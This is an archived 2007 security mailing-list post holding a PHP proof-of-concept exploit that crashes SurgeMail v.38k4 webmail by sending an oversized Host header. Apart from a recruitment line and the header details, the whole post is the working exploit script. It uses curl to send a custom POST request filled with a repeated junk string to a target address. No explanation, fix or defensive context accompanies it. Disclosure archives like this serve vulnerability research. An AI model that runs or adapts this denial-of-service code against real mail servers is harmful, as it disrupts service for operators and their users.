OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
SurgeMail v.38k4 webmail Host header crash

retrogalice.donotspam.it
Date: Mon Dec 17 2007 - 13:45:30 CST

<?php
/*
  SurgeMail v.38k4 webmail Host header denial of service exploit
  tested against the windows version
  
  rgod
*/

dl("php_curl.so");
$url = "http://192.168.0.1";
$puf=str_repeat(0xff,0xfff);

        $header ="POST / HTTP/1.0\r\n";
        $header.="Host: $puf\r\n";
        $header.="Connection: Close\r\n\r\n";
      
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL,$url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_TIMEOUT, 0);
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $header);

        $data = curl_exec($ch); if (curl_errno($ch)) {
           print curl_error($ch)."\n";
        } else {
           curl_close($ch);
        }

?>

original url: http://retrogod.altervista.org/rgod_surgemail_crash.html